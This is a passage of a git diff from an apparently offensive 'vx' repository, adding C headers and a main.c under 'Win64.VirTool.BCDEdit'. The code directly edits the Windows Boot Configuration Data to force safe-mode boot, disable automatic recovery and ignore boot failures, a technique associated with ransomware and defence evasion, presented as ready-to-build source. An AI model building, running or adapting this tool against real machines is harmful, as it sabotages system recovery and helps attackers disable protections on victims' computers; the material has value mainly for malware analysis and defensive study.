+BcdpQueryValueByName(
+ _In_ CONST LPWSTR wszValueName,
+ _In_ PHKEY phKey,
+ _In_ DWORD dwType,
+ _Out_ LPVOID * ppData,
+ _Out_ DWORD * pdwData
+);
+
+
+/**
+ * @brief Create a new windows registry key.
+ * @param wszKeyName The Unicode name of the key to create.
+ * @param DesiredAccess Desired access.
+ * @param dwType Type of data to retreive.
+ * @param phDirectory Pointer to a parent object within the object manager namespace.
+ * @param phKey Pointer to an handle of the newly created key.
+ * @return Whether the key has been created.
+*/
+_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
+BcdpCreateKey(
+ _In_ CONST LPWSTR wszKeyName,
+ _In_ ACCESS_MASK DesiredAccess,
+ _In_ PHANDLE phDirectory,
+ _Out_ PHANDLE phKey
+);
+
+
+/**
+ * @brief Set a new value to a windows registry key
+ * @param wszKeyName The Unicode name of the value to create/modify.
+ * @param phKey Handle to a windows registry key.
+ * @param pData Pointer to the data of the value.
+ * @param ulData Size of the data of the value.
+ * @return Whether the value has been successfully created or modified.
+*/
+_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
+BcdpSetValue(
+ _In_ CONST LPWSTR wszValue,
+ _In_ PHANDLE phKey,
+ _In_ PVOID pData,
+ _In_ ULONG ulData
+);
+
+
+/**
+ * @brief Set a new value to a windows registry key
+ * @param phKey Handle to a windows registry key.
+ * @param dwPrivileges Desried new privileges.
+ * @return Whether the new privileges have been assigned
+*/
+_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
+BcdpChangeObjectPermission(
+ _In_ CONST PHANDLE phKey,
+ _In_ DWORD dwPrivileges
+);
+
+
+#endif // !__BCDUTIL_H_GUARD__
diff --git a/Win64.VirTool.BCDEdit/main.c b/Win64.VirTool.BCDEdit/main.c
new file mode 100644
index 0000000..e624442
--- /dev/null
+++ b/Win64.VirTool.BCDEdit/main.c
@@ -0,0 +1,63 @@
+/**
+* @file main.c
+* @author Paul L. (@am0nsec)
+* @version 1.0
+* @brief Modify boot configuration to enable safe mode, disable recovery and ignore all failure.
+* @details
+* @link https://github.com/am0nsec/vx
+* @copyright This project has been released under the GNU Public License v3 license.
+*/
+#include
+#include "bcdutil.h"
+
+INT main() {
+ // 1. Acquire BCD synchronisation mutant
+ HANDLE hMutant = INVALID_HANDLE_VALUE;
+ EXIT_ON_ERROR(BcdAcquireSyncMutant(&hMutant));
+
+ // 2. Get handle to the windows default boot object
+ HKEY hWindowsBootMgrDefaultObj = INVALID_HANDLE_VALUE;
+ BcdGetDefaultBootObject(&hWindowsBootMgrDefaultObj);
+
+ // 3. Open handle to the Elements of the default boot object
+ HKEY hWindowsBootMgrDefaultObjElements = INVALID_HANDLE_VALUE;
+ EXIT_ON_ERROR(BcdOpenKeyByName(
+ BCD_ELEMENTS,
+ (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
+ &hWindowsBootMgrDefaultObj,
+ &hWindowsBootMgrDefaultObjElements
+ ));
+
+ // 4. Enable SafeBoot
+ BYTE SafeBootData[0x08] = { 0x00 };
+ BcdModifyBootConfiguration(
+ &hWindowsBootMgrDefaultObjElements,
+ BCDE_OSLOADER_TYPE_SAFEBOOT,
+ SafeBootData,
+ 0x08
+ );
+
+ // 5. Disable recovery mode
+ BYTE RecoveryEnabled[0x01] = { 0x00 };
+ BcdModifyBootConfiguration(
+ &hWindowsBootMgrDefaultObjElements,
+ BCDE_LIBRARY_TYPE_AUTO_RECOVERY_ENABLED,
+ RecoveryEnabled,
+ 0x01
+ );
+
+ // 5. Update boot policy
+ BYTE BootpolicyData[0x08] = { 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+ BcdModifyBootConfiguration(
+ &hWindowsBootMgrDefaultObjElements,
+ BCDE_OSLOADER_TYPE_BOOT_STATUS_POLICY,
+ BootpolicyData,
+ 0x08
+ );
+
+ // Cleanup and exit
+ NtClose(hMutant);
+ NtClose(hWindowsBootMgrDefaultObj);
+ NtClose(hWindowsBootMgrDefaultObjElements);
+ return EXIT_SUCCESS;
+}
\ No newline at end of file